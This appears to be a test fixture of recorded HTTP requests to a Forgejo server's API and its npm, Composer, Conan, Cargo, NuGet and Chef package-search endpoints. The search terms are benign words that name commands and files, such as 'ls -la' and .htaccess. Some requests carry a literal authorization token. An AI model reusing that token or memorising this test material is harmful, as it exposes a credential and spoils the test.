{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Flegacy-site", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=v1.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
# The package registries' searches, sent to Forgejo 17.0.1 by each registry's
|
|
||||||
# own client: npm, composer, conan 2 and 1, cargo, dotnet and knife. curl sent
|
|
||||||
# the requests no client sends: the Chef cookbook list with a search, and
|
|
||||||
# NuGet's Packages() with the search in $filter, as NuGet's client builds it for
|
|
||||||
# a feed without Search(). curl also sent each NuGet Search() and Packages()
|
|
||||||
# search to Search()/$count and Packages()/$count, which count its results. Each
|
|
||||||
# searches for words that name commands and files, such as python3 and
|
|
||||||
# .htaccess, and for plain words. A Composer, Conan or npm name can hold a
|
|
||||||
# slash, so those searches are also sent /bin/sh.
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=python3&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=powershell&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=ls+-la&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=.htaccess&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=tools&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: bc433449-14e0-4cb0-907b-fcca1ead302b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: e691cf8b-1859-45b1-aa67-e0987eb7474a", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 725a8ab1-a2c3-4924-84dd-a741bd6b8c07", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 5b1d333f-6583-4f78-9c23-d776ebbde5cf", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 23a81a25-0828-4311-8d2d-66f0d5161b6b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: ebf39a79-969d-4ac5-b5a0-5119c2d43ccc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 825cbe04-63e7-414a-8394-2ecf74c68211", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: f61bfff6-1c26-4024-bc17-6b78dcef2edc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: e894f984-8abf-4a23-960a-d1a09c94eaa3", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 33e3aa1b-14cb-4854-821a-c3eb9e5be7ee", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: c478a564-7cf9-4282-9f00-bf5b7966607d", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 8dfa5583-4005-4134-9343-ddb4c68c125b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: e7210054-9f40-4a58-8228-beeab1e3bb05", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0f3b26a8-7ca2-4b52-a9bb-c23a25c4172c", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: d0fa60d5-6948-4149-845f-e38d340cc09a", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 8c22d5d2-1691-4488-89ca-a405dd7a15cc", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0a1bd4b1-0009-4d1d-931d-d1c19b26dd8b", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: f858e4b5-10bc-4633-a517-f165a65ac4cb", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
